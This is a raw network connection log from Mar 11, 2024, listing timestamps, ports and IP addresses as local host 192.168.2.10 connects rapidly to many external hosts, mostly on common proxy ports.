Mar 11, 2024 16:39:44.231695890 CET	50194	44374	192.168.2.10	172.93.111.235
Mar 11, 2024 16:39:44.232481003 CET	50194	44374	192.168.2.10	172.93.111.235
Mar 11, 2024 16:39:44.235591888 CET	80	50092	23.227.38.198	192.168.2.10
Mar 11, 2024 16:39:44.235598087 CET	50445	53777	192.168.2.10	104.238.111.107
Mar 11, 2024 16:39:44.235857010 CET	80	50092	23.227.38.198	192.168.2.10
Mar 11, 2024 16:39:44.235868931 CET	5430	50064	202.179.184.44	192.168.2.10
Mar 11, 2024 16:39:44.235897064 CET	80	50092	23.227.38.198	192.168.2.10
Mar 11, 2024 16:39:44.235944033 CET	50064	5430	192.168.2.10	202.179.184.44
Mar 11, 2024 16:39:44.235949993 CET	50092	80	192.168.2.10	23.227.38.198
Mar 11, 2024 16:39:44.236025095 CET	12334	50188	194.4.50.62	192.168.2.10
Mar 11, 2024 16:39:44.236068964 CET	13477	50179	72.10.164.178	192.168.2.10
Mar 11, 2024 16:39:44.236229897 CET	50188	12334	192.168.2.10	194.4.50.62
Mar 11, 2024 16:39:44.238785982 CET	49741	8888	192.168.2.10	200.174.198.95
Mar 11, 2024 16:39:44.238785982 CET	49825	9039	192.168.2.10	67.43.227.228
Mar 11, 2024 16:39:44.238858938 CET	49739	3128	192.168.2.10	3.24.58.156
Mar 11, 2024 16:39:44.239253044 CET	5678	50058	202.165.47.49	192.168.2.10
Mar 11, 2024 16:39:44.242928028 CET	4145	50268	142.54.237.34	192.168.2.10
Mar 11, 2024 16:39:44.244056940 CET	80	50001	172.67.181.197	192.168.2.10
Mar 11, 2024 16:39:44.247132063 CET	8089	50039	111.225.152.42	192.168.2.10
Mar 11, 2024 16:39:44.247560978 CET	1080	50249	54.212.22.168	192.168.2.10
Mar 11, 2024 16:39:44.247654915 CET	50249	1080	192.168.2.10	54.212.22.168
Mar 11, 2024 16:39:44.250068903 CET	31979	50097	51.77.65.164	192.168.2.10
Mar 11, 2024 16:39:44.251683950 CET	50249	1080	192.168.2.10	54.212.22.168
Mar 11, 2024 16:39:44.251750946 CET	50064	5430	192.168.2.10	202.179.184.44
Mar 11, 2024 16:39:44.251754045 CET	50188	12334	192.168.2.10	194.4.50.62
Mar 11, 2024 16:39:44.252484083 CET	50447	8080	192.168.2.10	183.88.184.48
Mar 11, 2024 16:39:44.252487898 CET	50446	4153	192.168.2.10	179.109.193.228
Mar 11, 2024 16:39:44.252738953 CET	50449	80	192.168.2.10	172.67.209.12
Mar 11, 2024 16:39:44.252801895 CET	50448	3335	192.168.2.10	67.43.236.20
Mar 11, 2024 16:39:44.253007889 CET	50450	3128	192.168.2.10	193.239.86.248
Mar 11, 2024 16:39:44.253931999 CET	80	50282	104.17.166.210	192.168.2.10
Mar 11, 2024 16:39:44.253957987 CET	50451	999	192.168.2.10	190.110.99.189
Mar 11, 2024 16:39:44.253962040 CET	50092	80	192.168.2.10	23.227.38.198
Mar 11, 2024 16:39:44.254252911 CET	50282	80	192.168.2.10	104.17.166.210
Mar 11, 2024 16:39:44.254316092 CET	50282	80	192.168.2.10	104.17.166.210
Mar 11, 2024 16:39:44.254412889 CET	49746	5678	192.168.2.10	143.255.140.28
Mar 11, 2024 16:39:44.254414082 CET	49745	4995	192.168.2.10	116.97.240.147
Mar 11, 2024 16:39:44.254416943 CET	49742	59920	192.168.2.10	45.56.220.210
Mar 11, 2024 16:39:44.254484892 CET	49748	8080	192.168.2.10	103.167.68.255
Mar 11, 2024 16:39:44.254491091 CET	49743	3125	192.168.2.10	103.226.232.188
Mar 11, 2024 16:39:44.254789114 CET	50452	5678	192.168.2.10	91.247.92.63
Mar 11, 2024 16:39:44.255117893 CET	50453	80	192.168.2.10	104.20.103.68
Mar 11, 2024 16:39:44.255652905 CET	50454	16379	192.168.2.10	51.158.105.107
Mar 11, 2024 16:39:44.257055998 CET	8089	49732	117.70.49.235	192.168.2.10
Mar 11, 2024 16:39:44.257086992 CET	50455	9999	192.168.2.10	113.195.224.222
Mar 11, 2024 16:39:44.257421017 CET	50456	8080	192.168.2.10	186.103.130.91
Mar 11, 2024 16:39:44.257885933 CET	50457	3128	192.168.2.10	15.207.196.77
Mar 11, 2024 16:39:44.257890940 CET	50458	80	192.168.2.10	82.97.215.240
Mar 11, 2024 16:39:44.258160114 CET	4145	50170	174.75.211.222	192.168.2.10
Mar 11, 2024 16:39:44.258256912 CET	50170	4145	192.168.2.10	174.75.211.222
Mar 11, 2024 16:39:44.258383989 CET	50170	4145	192.168.2.10	174.75.211.222
Mar 11, 2024 16:39:44.258744001 CET	50459	80	192.168.2.10	43.231.22.229
Mar 11, 2024 16:39:44.259326935 CET	50461	5836	192.168.2.10	185.158.248.95
Mar 11, 2024 16:39:44.259334087 CET	50460	80	192.168.2.10	217.112.80.252
Mar 11, 2024 16:39:44.260138988 CET	50463	59559	192.168.2.10	192.163.200.80
Mar 11, 2024 16:39:44.260339975 CET	50462	8888	192.168.2.10	23.94.123.243
Mar 11, 2024 16:39:44.260983944 CET	50464	80	192.168.2.10	104.16.105.142
Mar 11, 2024 16:39:44.261859894 CET	50467	3128	192.168.2.10	2.179.193.146
Mar 11, 2024 16:39:44.261864901 CET	50465	999	192.168.2.10	157.100.56.40
Mar 11, 2024 16:39:44.261864901 CET	50466	27391	192.168.2.10	72.195.34.60
Mar 11, 2024 16:39:44.262542009 CET	50468	3128	192.168.2.10	18.135.211.182
Mar 11, 2024 16:39:44.262830019 CET	50469	6060	192.168.2.10	185.165.232.65
Mar 11, 2024 16:39:44.263597965 CET	50470	14287	192.168.2.10	64.227.108.182
Mar 11, 2024 16:39:44.264482975 CET	50471	4153	192.168.2.10	177.72.82.47
Mar 11, 2024 16:39:44.264842987 CET	50472	8080	192.168.2.10	112.78.164.248
Mar 11, 2024 16:39:44.267679930 CET	50473	80	192.168.2.10	104.24.35.152
Mar 11, 2024 16:39:44.268182039 CET	50474	999	192.168.2.10	45.224.20.68
Mar 11, 2024 16:39:44.268486977 CET	50475	8085	192.168.2.10	191.102.254.54
Mar 11, 2024 16:39:44.268806934 CET	50477	3128	192.168.2.10	86.107.178.103
Mar 11, 2024 16:39:44.268807888 CET	50476	8080	192.168.2.10	1.0.171.213
Mar 11, 2024 16:39:44.269084930 CET	50479	57642	192.168.2.10	107.180.88.41
Mar 11, 2024 16:39:44.269109964 CET	50478	80	192.168.2.10	50.217.226.45
Mar 11, 2024 16:39:44.269320965 CET	80	49970	52.196.1.182	192.168.2.10
Mar 11, 2024 16:39:44.269407034 CET	50480	63951	192.168.2.10	107.180.95.177
Mar 11, 2024 16:39:44.269407034 CET	50481	8880	192.168.2.10	95.66.138.21
Mar 11, 2024 16:39:44.270034075 CET	49747	8081	192.168.2.10	113.53.3.242
Mar 11, 2024 16:39:44.270034075 CET	50482	443	192.168.2.10	93.190.24.119
Mar 11, 2024 16:39:44.270045996 CET	49753	58740	192.168.2.10	162.214.90.49
Mar 11, 2024 16:39:44.270051003 CET	49832	80	192.168.2.10	50.172.218.160
Mar 11, 2024 16:39:44.270065069 CET	443	50482	93.190.24.119	192.168.2.10
Mar 11, 2024 16:39:44.270153046 CET	50483	80	192.168.2.10	3.127.62.252
Mar 11, 2024 16:39:44.270220995 CET	49752	3128	192.168.2.10	8.209.255.13
Mar 11, 2024 16:39:44.270221949 CET	50482	443	192.168.2.10	93.190.24.119
Mar 11, 2024 16:39:44.270648956 CET	50484	1080	192.168.2.10	35.154.71.72
Mar 11, 2024 16:39:44.270651102 CET	50482	443	192.168.2.10	93.190.24.119
Mar 11, 2024 16:39:44.270665884 CET	443	50482	93.190.24.119	192.168.2.10
Mar 11, 2024 16:39:44.270710945 CET	443	50482	93.190.24.119	192.168.2.10
Mar 11, 2024 16:39:44.270978928 CET	80	49970	52.196.1.182	192.168.2.10
Mar 11, 2024 16:39:44.271809101 CET	50485	443	192.168.2.10	93.190.24.119
Mar 11, 2024 16:39:44.271826982 CET	443	50485	93.190.24.119	192.168.2.10
Mar 11, 2024 16:39:44.271831036 CET	80	49773	50.239.72.18	192.168.2.10
Mar 11, 2024 16:39:44.271941900 CET	50485	443	192.168.2.10	93.190.24.119
Mar 11, 2024 16:39:44.272074938 CET	49970	80	192.168.2.10	52.196.1.182
Mar 11, 2024 16:39:44.272284031 CET	50486	3128	192.168.2.10	84.17.51.241
Mar 11, 2024 16:39:44.272288084 CET	50485	443	192.168.2.10	93.190.24.119
Mar 11, 2024 16:39:44.272304058 CET	443	50485	93.190.24.119	192.168.2.10
Mar 11, 2024 16:39:44.272324085 CET	443	50485	93.190.24.119	192.168.2.10
Mar 11, 2024 16:39:44.273561954 CET	50488	9090	192.168.2.10	103.105.76.214
Mar 11, 2024 16:39:44.273561954 CET	50487	80	192.168.2.10	104.27.83.183
Mar 11, 2024 16:39:44.273669958 CET	4711	50229	67.43.227.227	192.168.2.10
Mar 11, 2024 16:39:44.274861097 CET	50489	443	192.168.2.10	93.190.24.119
Mar 11, 2024 16:39:44.274879932 CET	443	50489	93.190.24.119	192.168.2.10
Mar 11, 2024 16:39:44.275484085 CET	50491	80	192.168.2.10	50.239.72.17
Mar 11, 2024 16:39:44.275485992 CET	50490	999	192.168.2.10	190.71.24.129
Mar 11, 2024 16:39:44.275548935 CET	50489	443	192.168.2.10	93.190.24.119
Mar 11, 2024 16:39:44.275892019 CET	50489	443	192.168.2.10	93.190.24.119
Mar 11, 2024 16:39:44.275903940 CET	443	50489	93.190.24.119	192.168.2.10
Mar 11, 2024 16:39:44.275921106 CET	443	50489	93.190.24.119	192.168.2.10
Mar 11, 2024 16:39:44.275928020 CET	50492	8080	192.168.2.10	194.124.36.75
Mar 11, 2024 16:39:44.276623964 CET	4495	49766	67.43.228.252	192.168.2.10
Mar 11, 2024 16:39:44.276638031 CET	3129	50050	20.219.177.85	192.168.2.10
Mar 11, 2024 16:39:44.276647091 CET	50493	443	192.168.2.10	93.190.24.119
Mar 11, 2024 16:39:44.276655912 CET	443	50493	93.190.24.119	192.168.2.10
Mar 11, 2024 16:39:44.276776075 CET	50493	443	192.168.2.10	93.190.24.119
Mar 11, 2024 16:39:44.277621984 CET	50494	4145	192.168.2.10	142.54.231.38
Mar 11, 2024 16:39:44.277622938 CET	50493	443	192.168.2.10	93.190.24.119
Mar 11, 2024 16:39:44.277637005 CET	443	50493	93.190.24.119	192.168.2.10
Mar 11, 2024 16:39:44.277658939 CET	443	50493	93.190.24.119	192.168.2.10
Mar 11, 2024 16:39:44.277971983 CET	50495	3128	192.168.2.10	107.155.65.11
Mar 11, 2024 16:39:44.279007912 CET	50496	5678	192.168.2.10	197.251.236.227
Mar 11, 2024 16:39:44.279007912 CET	50497	4153	192.168.2.10	109.86.220.12
Mar 11, 2024 16:39:44.280405045 CET	50498	17982	192.168.2.10	51.89.173.40
Mar 11, 2024 16:39:44.280591011 CET	50499	3128	192.168.2.10	159.203.61.169
Mar 11, 2024 16:39:44.281533957 CET	50502	80	192.168.2.10	35.196.18.239
Mar 11, 2024 16:39:44.281536102 CET	50500	16691	192.168.2.10	92.204.136.149
Mar 11, 2024 16:39:44.281541109 CET	50501	8080	192.168.2.10	14.143.172.238
Mar 11, 2024 16:39:44.282061100 CET	50503	1080	192.168.2.10	103.47.93.236
Mar 11, 2024 16:39:44.282711029 CET	55066	50133	167.86.115.103	192.168.2.10
Mar 11, 2024 16:39:44.283027887 CET	50505	4019	192.168.2.10	171.235.166.222
Mar 11, 2024 16:39:44.283030033 CET	50504	80	192.168.2.10	172.173.132.85
Mar 11, 2024 16:39:44.283107996 CET	5000	50086	49.228.131.169	192.168.2.10
Mar 11, 2024 16:39:44.283296108 CET	50086	5000	192.168.2.10	49.228.131.169
Mar 11, 2024 16:39:44.283374071 CET	50086	5000	192.168.2.10	49.228.131.169
Mar 11, 2024 16:39:44.285687923 CET	49796	8089	192.168.2.10	114.231.45.101
Mar 11, 2024 16:39:44.285744905 CET	4153	50045	103.83.105.167	192.168.2.10
Mar 11, 2024 16:39:44.285779953 CET	49754	12334	192.168.2.10	194.4.50.91
Mar 11, 2024 16:39:44.285779953 CET	49758	31551	192.168.2.10	91.213.119.246
Mar 11, 2024 16:39:44.292484999 CET	80	50137	172.67.182.0	192.168.2.10
Mar 11, 2024 16:39:44.292568922 CET	80	50137	172.67.182.0	192.168.2.10
Mar 11, 2024 16:39:44.292586088 CET	8080	49812	103.190.54.141	192.168.2.10
Mar 11, 2024 16:39:44.292598009 CET	80	50137	172.67.182.0	192.168.2.10
Mar 11, 2024 16:39:44.292644978 CET	8193	49929	211.222.252.187	192.168.2.10
Mar 11, 2024 16:39:44.292665005 CET	50137	80	192.168.2.10	172.67.182.0
Mar 11, 2024 16:39:44.292718887 CET	8193	49929	211.222.252.187	192.168.2.10
Mar 11, 2024 16:39:44.292764902 CET	80	50135	104.21.194.182	192.168.2.10
Mar 11, 2024 16:39:44.292809010 CET	80	50135	104.21.194.182	192.168.2.10
Mar 11, 2024 16:39:44.292834997 CET	49929	8193	192.168.2.10	211.222.252.187
Mar 11, 2024 16:39:44.292856932 CET	80	50121	104.20.123.164	192.168.2.10
Mar 11, 2024 16:39:44.292932987 CET	80	50121	104.20.123.164	192.168.2.10
Mar 11, 2024 16:39:44.293040037 CET	80	50135	104.21.194.182	192.168.2.10
Mar 11, 2024 16:39:44.293157101 CET	50135	80	192.168.2.10	104.21.194.182
Mar 11, 2024 16:39:44.293442011 CET	80	50005	104.27.15.161	192.168.2.10
Mar 11, 2024 16:39:44.293597937 CET	80	50121	104.20.123.164	192.168.2.10
Mar 11, 2024 16:39:44.293663979 CET	50121	80	192.168.2.10	104.20.123.164
Mar 11, 2024 16:39:44.295030117 CET	80	50153	104.16.143.127	192.168.2.10
Mar 11, 2024 16:39:44.295063019 CET	80	50153	104.16.143.127	192.168.2.10
Mar 11, 2024 16:39:44.295902967 CET	80	50153	104.16.143.127	192.168.2.10
Mar 11, 2024 16:39:44.297866106 CET	3128	50204	13.208.168.179	192.168.2.10
Mar 11, 2024 16:39:44.297975063 CET	50153	80	192.168.2.10	104.16.143.127
Mar 11, 2024 16:39:44.298105955 CET	50204	3128	192.168.2.10	13.208.168.179
Mar 11, 2024 16:39:44.298908949 CET	80	50016	162.159.242.138	192.168.2.10
Mar 11, 2024 16:39:44.299043894 CET	7777	50093	218.6.120.111	192.168.2.10
Mar 11, 2024 16:39:44.299146891 CET	50093	7777	192.168.2.10	218.6.120.111
Mar 11, 2024 16:39:44.301213980 CET	50153	80	192.168.2.10	104.16.143.127
Mar 11, 2024 16:39:44.301218033 CET	5678	50069	223.25.98.82	192.168.2.10
Mar 11, 2024 16:39:44.301243067 CET	50093	7777	192.168.2.10	218.6.120.111
Mar 11, 2024 16:39:44.301250935 CET	50204	3128	192.168.2.10	13.208.168.179
Mar 11, 2024 16:39:44.301337004 CET	49762	1080	192.168.2.10	138.36.150.16
Mar 11, 2024 16:39:44.301337004 CET	49755	6969	192.168.2.10	103.199.155.18
Mar 11, 2024 16:39:44.301512003 CET	80	50162	50.170.90.28	192.168.2.10
Mar 11, 2024 16:39:44.301548958 CET	50121	80	192.168.2.10	104.20.123.164
Mar 11, 2024 16:39:44.301670074 CET	8888	50071	93.171.220.229	192.168.2.10
Mar 11, 2024 16:39:44.301892996 CET	50071	8888	192.168.2.10	93.171.220.229
Mar 11, 2024 16:39:44.302042007 CET	49929	8193	192.168.2.10	211.222.252.187
Mar 11, 2024 16:39:44.302042007 CET	50135	80	192.168.2.10	104.21.194.182
Mar 11, 2024 16:39:44.302186966 CET	50071	8888	192.168.2.10	93.171.220.229
Mar 11, 2024 16:39:44.302618980 CET	50507	8080	192.168.2.10	103.190.54.141
Mar 11, 2024 16:39:44.302683115 CET	50506	8193	192.168.2.10	211.222.252.187
Mar 11, 2024 16:39:44.302836895 CET	50137	80	192.168.2.10	172.67.182.0
Mar 11, 2024 16:39:44.303458929 CET	50508	9002	192.168.2.10	120.197.40.219
Mar 11, 2024 16:39:44.303461075 CET	50509	80	192.168.2.10	3.128.142.113
Mar 11, 2024 16:39:44.303854942 CET	80	50303	104.18.161.122	192.168.2.10
Mar 11, 2024 16:39:44.303952932 CET	50303	80	192.168.2.10	104.18.161.122
Mar 11, 2024 16:39:44.304017067 CET	50510	1981	192.168.2.10	156.200.116.71
Mar 11, 2024 16:39:44.304739952 CET	50303	80	192.168.2.10	104.18.161.122
Mar 11, 2024 16:39:44.304743052 CET	50512	52903	192.168.2.10	203.161.32.242
Mar 11, 2024 16:39:44.304743052 CET	50511	80	192.168.2.10	173.245.49.27
Mar 11, 2024 16:39:44.304966927 CET	50513	25256	192.168.2.10	94.23.220.136
Mar 11, 2024 16:39:44.305341959 CET	50514	5123	192.168.2.10	72.10.160.92
Mar 11, 2024 16:39:44.305561066 CET	50515	80	192.168.2.10	51.75.74.18
Mar 11, 2024 16:39:44.305912018 CET	50516	80	192.168.2.10	115.244.127.162
Mar 11, 2024 16:39:44.306433916 CET	50519	8080	192.168.2.10	103.164.58.190
Mar 11, 2024 16:39:44.306436062 CET	50518	3629	192.168.2.10	185.215.53.241
Mar 11, 2024 16:39:44.306436062 CET	50517	5678	192.168.2.10	101.95.182.26
Mar 11, 2024 16:39:44.306694984 CET	50520	8080	192.168.2.10	213.244.91.179
Mar 11, 2024 16:39:44.306781054 CET	50521	9999	192.168.2.10	102.134.181.142
Mar 11, 2024 16:39:44.307483912 CET	50522	30453	192.168.2.10	174.136.57.169
Mar 11, 2024 16:39:44.307710886 CET	50523	80	192.168.2.10	188.166.56.246
Mar 11, 2024 16:39:44.307898998 CET	1337	50177	185.217.136.67	192.168.2.10
Mar 11, 2024 16:39:44.308267117 CET	28971	49775	67.43.228.254	192.168.2.10
Mar 11, 2024 16:39:44.308295965 CET	50524	2906	192.168.2.10	148.72.209.174
Mar 11, 2024 16:39:44.308434963 CET	8888	49904	65.109.152.88	192.168.2.10
Mar 11, 2024 16:39:44.308465958 CET	50177	1337	192.168.2.10	185.217.136.67
Mar 11, 2024 16:39:44.308665037 CET	50177	1337	192.168.2.10	185.217.136.67
Mar 11, 2024 16:39:44.308926105 CET	50525	51251	192.168.2.10	49.12.126.53
Mar 11, 2024 16:39:44.309909105 CET	50526	5678	192.168.2.10	36.95.189.165
Mar 11, 2024 16:39:44.310049057 CET	50527	8080	192.168.2.10	20.205.115.87
Mar 11, 2024 16:39:44.310692072 CET	50528	3128	192.168.2.10	91.233.223.147
Mar 11, 2024 16:39:44.310919046 CET	50529	21802	192.168.2.10	34.93.157.87
Mar 11, 2024 16:39:44.311422110 CET	50530	80	192.168.2.10	152.32.132.220
Mar 11, 2024 16:39:44.311736107 CET	50531	9812	192.168.2.10	12.7.109.1
Mar 11, 2024 16:39:44.312211037 CET	50532	25810	192.168.2.10	146.59.18.246
Mar 11, 2024 16:39:44.312429905 CET	4145	49729	152.32.78.24	192.168.2.10
Mar 11, 2024 16:39:44.312515974 CET	50533	8893	192.168.2.10	186.215.87.194
Mar 11, 2024 16:39:44.312886953 CET	50534	15864	192.168.2.10	192.252.214.20
Mar 11, 2024 16:39:44.313278913 CET	50535	24397	192.168.2.10	72.10.160.90
Mar 11, 2024 16:39:44.314251900 CET	50538	4145	192.168.2.10	184.181.217.206
Mar 11, 2024 16:39:44.314253092 CET	50537	15673	192.168.2.10	23.95.209.142
Mar 11, 2024 16:39:44.314256907 CET	50536	22450	192.168.2.10	50.63.12.33
Mar 11, 2024 16:39:44.314877987 CET	50539	999	192.168.2.10	167.250.222.233
Mar 11, 2024 16:39:44.314970970 CET	80	50193	46.35.9.110	192.168.2.10
Mar 11, 2024 16:39:44.315069914 CET	50193	80	192.168.2.10	46.35.9.110
Mar 11, 2024 16:39:44.315133095 CET	50193	80	192.168.2.10	46.35.9.110
Mar 11, 2024 16:39:44.315237999 CET	50540	85	192.168.2.10	43.255.113.232
Mar 11, 2024 16:39:44.315921068 CET	50541	8089	192.168.2.10	223.247.47.231
Mar 11, 2024 16:39:44.316505909 CET	50542	8888	192.168.2.10	31.43.158.108
Mar 11, 2024 16:39:44.316576004 CET	50543	3128	192.168.2.10	23.152.40.14
Mar 11, 2024 16:39:44.316903114 CET	49895	45248	192.168.2.10	166.62.121.127
Mar 11, 2024 16:39:44.316963911 CET	49761	8090	192.168.2.10	103.127.106.249
Mar 11, 2024 16:39:44.316963911 CET	49763	8080	192.168.2.10	185.108.141.19
Mar 11, 2024 16:39:44.317744970 CET	50545	1081	192.168.2.10	5.252.23.220
Mar 11, 2024 16:39:44.317786932 CET	50544	999	192.168.2.10	179.1.133.33
Mar 11, 2024 16:39:44.319432974 CET	50546	4153	192.168.2.10	45.226.0.2
Mar 11, 2024 16:39:44.319439888 CET	50547	25525	192.168.2.10	162.19.7.61
Mar 11, 2024 16:39:44.319447994 CET	50548	999	192.168.2.10	168.90.255.60
Mar 11, 2024 16:39:44.319804907 CET	50549	34560	192.168.2.10	108.181.132.117
Mar 11, 2024 16:39:44.321281910 CET	50551	3629	192.168.2.10	46.23.53.164
Mar 11, 2024 16:39:44.321285009 CET	50550	80	192.168.2.10	198.44.255.3
Mar 11, 2024 16:39:44.321285009 CET	50552	31409	192.168.2.10	121.139.218.165
Mar 11, 2024 16:39:44.321516991 CET	50553	16379	192.168.2.10	163.172.137.49
Mar 11, 2024 16:39:44.322247982 CET	50605	49780	51.81.89.146	192.168.2.10
Mar 11, 2024 16:39:44.322269917 CET	50554	55994	192.168.2.10	38.127.172.219
Mar 11, 2024 16:39:44.322376013 CET	50555	80	192.168.2.10	51.161.56.52
Mar 11, 2024 16:39:44.322442055 CET	42331	50206	206.189.9.30	192.168.2.10
Mar 11, 2024 16:39:44.323626041 CET	50558	3128	192.168.2.10	213.131.230.161
Mar 11, 2024 16:39:44.323627949 CET	50557	39095	192.168.2.10	192.163.200.82
Mar 11, 2024 16:39:44.323630095 CET	50556	4153	192.168.2.10	176.197.144.158
Mar 11, 2024 16:39:44.323905945 CET	50559	5529	192.168.2.10	72.10.164.178
Mar 11, 2024 16:39:44.324497938 CET	50560	1080	192.168.2.10	45.234.100.112
Mar 11, 2024 16:39:44.326025009 CET	50562	47056	192.168.2.10	45.81.232.17
Mar 11, 2024 16:39:44.326030970 CET	50563	3128	192.168.2.10	198.199.122.10
Mar 11, 2024 16:39:44.326030970 CET	50561	80	192.168.2.10	31.43.179.160
Mar 11, 2024 16:39:44.326770067 CET	50565	8083	192.168.2.10	185.132.242.212
Mar 11, 2024 16:39:44.326771021 CET	50564	45534	192.168.2.10	209.250.248.127
Mar 11, 2024 16:39:44.327529907 CET	50567	3128	192.168.2.10	3.212.148.199
Mar 11, 2024 16:39:44.327533007 CET	50566	8080	192.168.2.10	103.140.34.61
Mar 11, 2024 16:39:44.327852011 CET	50568	56225	192.168.2.10	104.238.111.107
Mar 11, 2024 16:39:44.328171968 CET	8800	49740	43.133.136.208	192.168.2.10
Mar 11, 2024 16:39:44.328253031 CET	3128	49968	195.154.172.161	192.168.2.10
Mar 11, 2024 16:39:44.328264952 CET	8800	49740	43.133.136.208	192.168.2.10
Mar 11, 2024 16:39:44.328597069 CET	50570	19802	192.168.2.10	72.167.38.7
Mar 11, 2024 16:39:44.328597069 CET	50569	8080	192.168.2.10	103.111.136.110
Mar 11, 2024 16:39:44.329021931 CET	5678	50245	191.97.2.198	192.168.2.10
Mar 11, 2024 16:39:44.329078913 CET	8000	50036	137.184.200.42	192.168.2.10
Mar 11, 2024 16:39:44.329422951 CET	50571	1080	192.168.2.10	140.250.150.56
Mar 11, 2024 16:39:44.329547882 CET	80	50196	172.67.150.173	192.168.2.10
Mar 11, 2024 16:39:44.329631090 CET	50572	46783	192.168.2.10	162.241.158.204
Mar 11, 2024 16:39:44.329652071 CET	80	50196	172.67.150.173	192.168.2.10
Mar 11, 2024 16:39:44.329694033 CET	9090	49865	212.108.145.195	192.168.2.10
Mar 11, 2024 16:39:44.329740047 CET	80	50197	104.20.24.214	192.168.2.10
Mar 11, 2024 16:39:44.329754114 CET	80	50197	104.20.24.214	192.168.2.10
Mar 11, 2024 16:39:44.329802036 CET	80	50196	172.67.150.173	192.168.2.10
Mar 11, 2024 16:39:44.329976082 CET	50197	80	192.168.2.10	104.20.24.214
Mar 11, 2024 16:39:44.329976082 CET	50196	80	192.168.2.10	172.67.150.173
Mar 11, 2024 16:39:44.330110073 CET	50196	80	192.168.2.10	172.67.150.173
Mar 11, 2024 16:39:44.330404043 CET	80	49911	39.105.5.126	192.168.2.10
Mar 11, 2024 16:39:44.330651999 CET	80	50197	104.20.24.214	192.168.2.10
Mar 11, 2024 16:39:44.331276894 CET	30000	50203	161.97.74.176	192.168.2.10
Mar 11, 2024 16:39:44.331306934 CET	50574	42647	192.168.2.10	185.66.59.4
Mar 11, 2024 16:39:44.331306934 CET	50573	4153	192.168.2.10	185.22.31.227
Mar 11, 2024 16:39:44.331372023 CET	50203	30000	192.168.2.10	161.97.74.176
Mar 11, 2024 16:39:44.331403017 CET	50197	80	192.168.2.10	104.20.24.214
Mar 11, 2024 16:39:44.331598997 CET	80	49795	50.239.72.19	192.168.2.10
Mar 11, 2024 16:39:44.331628084 CET	50203	30000	192.168.2.10	161.97.74.176
Mar 11, 2024 16:39:44.331629038 CET	9090	49865	212.108.145.195	192.168.2.10
Mar 11, 2024 16:39:44.331655025 CET	50575	1256	192.168.2.10	188.133.155.215
Mar 11, 2024 16:39:44.332521915 CET	50576	9090	192.168.2.10	212.108.145.195
Mar 11, 2024 16:39:44.332526922 CET	50577	18080	192.168.2.10	54.178.159.199
Mar 11, 2024 16:39:44.332528114 CET	50578	23711	192.168.2.10	45.81.232.17
Mar 11, 2024 16:39:44.332571983 CET	49771	8402	192.168.2.10	45.229.10.98
Mar 11, 2024 16:39:44.332572937 CET	49767	24183	192.168.2.10	92.205.61.38
Mar 11, 2024 16:39:44.333112001 CET	50579	8080	192.168.2.10	5.58.97.89
Mar 11, 2024 16:39:44.333431005 CET	50580	51507	192.168.2.10	135.148.10.161
Mar 11, 2024 16:39:44.333956003 CET	50581	3128	192.168.2.10	176.113.73.99
Mar 11, 2024 16:39:44.334153891 CET	8800	50126	43.133.136.208	192.168.2.10
Mar 11, 2024 16:39:44.335118055 CET	80	50038	104.20.56.71	192.168.2.10
Mar 11, 2024 16:39:44.335144997 CET	50583	8080	192.168.2.10	85.172.0.30
Mar 11, 2024 16:39:44.335144997 CET	50582	80	192.168.2.10	50.173.140.148
Mar 11, 2024 16:39:44.335267067 CET	50126	8800	192.168.2.10	43.133.136.208
Mar 11, 2024 16:39:44.335452080 CET	50126	8800	192.168.2.10	43.133.136.208
Mar 11, 2024 16:39:44.336544037 CET	50584	80	192.168.2.10	185.238.228.202
Mar 11, 2024 16:39:44.336545944 CET	50586	80	192.168.2.10	104.25.87.42
Mar 11, 2024 16:39:44.336673021 CET	50585	27639	192.168.2.10	185.45.194.176
Mar 11, 2024 16:39:44.336756945 CET	50587	80	192.168.2.10	104.21.223.181
Mar 11, 2024 16:39:44.336756945 CET	80	50180	223.19.111.185	192.168.2.10
Mar 11, 2024 16:39:44.336899042 CET	4145	50276	184.170.249.65	192.168.2.10
Mar 11, 2024 16:39:44.336998940 CET	50276	4145	192.168.2.10	184.170.249.65
Mar 11, 2024 16:39:44.337002993 CET	50180	80	192.168.2.10	223.19.111.185
Mar 11, 2024 16:39:44.337238073 CET	50180	80	192.168.2.10	223.19.111.185
Mar 11, 2024 16:39:44.337304115 CET	50276	4145	192.168.2.10	184.170.249.65
Mar 11, 2024 16:39:44.337589979 CET	4145	50328	142.54.229.249	192.168.2.10
Mar 11, 2024 16:39:44.337616920 CET	50588	46296	192.168.2.10	46.101.5.73
Mar 11, 2024 16:39:44.337950945 CET	50589	80	192.168.2.10	50.222.245.41
Mar 11, 2024 16:39:44.338846922 CET	31033	49784	67.43.228.253	192.168.2.10
Mar 11, 2024 16:39:44.338876963 CET	50590	5896	192.168.2.10	94.23.168.246
Mar 11, 2024 16:39:44.338877916 CET	50591	51535	192.168.2.10	162.241.66.135
Mar 11, 2024 16:39:44.339256048 CET	50592	3128	192.168.2.10	120.24.52.179
Mar 11, 2024 16:39:44.339509010 CET	50593	1080	192.168.2.10	27.0.234.206
Mar 11, 2024 16:39:44.340565920 CET	50594	16379	192.168.2.10	51.158.108.165
Mar 11, 2024 16:39:44.340568066 CET	50595	8443	192.168.2.10	27.254.123.203
Mar 11, 2024 16:39:44.340681076 CET	50596	8080	192.168.2.10	102.164.252.145
Mar 11, 2024 16:39:44.340826988 CET	50597	4145	192.168.2.10	103.66.233.161
Mar 11, 2024 16:39:44.341149092 CET	15673	49933	43.131.245.216	192.168.2.10
Mar 11, 2024 16:39:44.342202902 CET	50598	16379	192.168.2.10	51.158.96.66
Mar 11, 2024 16:39:44.342207909 CET	50599	60148	192.168.2.10	207.180.198.241
Mar 11, 2024 16:39:44.343034029 CET	50600	3128	192.168.2.10	185.191.236.162
Mar 11, 2024 16:39:44.343034029 CET	50602	80	192.168.2.10	41.77.188.131
Mar 11, 2024 16:39:44.343034983 CET	50601	60651	192.168.2.10	162.241.6.97
Mar 11, 2024 16:39:44.343835115 CET	80	50308	50.231.104.58	192.168.2.10
Mar 11, 2024 16:39:44.343862057 CET	50603	80	192.168.2.10	51.222.155.142
Mar 11, 2024 16:39:44.343863010 CET	50604	38772	192.168.2.10	213.136.79.177
Mar 11, 2024 16:39:44.344343901 CET	5096	50228	165.154.227.154	192.168.2.10
Mar 11, 2024 16:39:44.344369888 CET	50605	9292	192.168.2.10	45.232.79.0
Mar 11, 2024 16:39:44.344516039 CET	50606	3629	192.168.2.10	103.144.209.104
Mar 11, 2024 16:39:44.345129013 CET	50607	63055	192.168.2.10	51.161.131.84
Mar 11, 2024 16:39:44.345196009 CET	80	50220	31.43.179.214	192.168.2.10
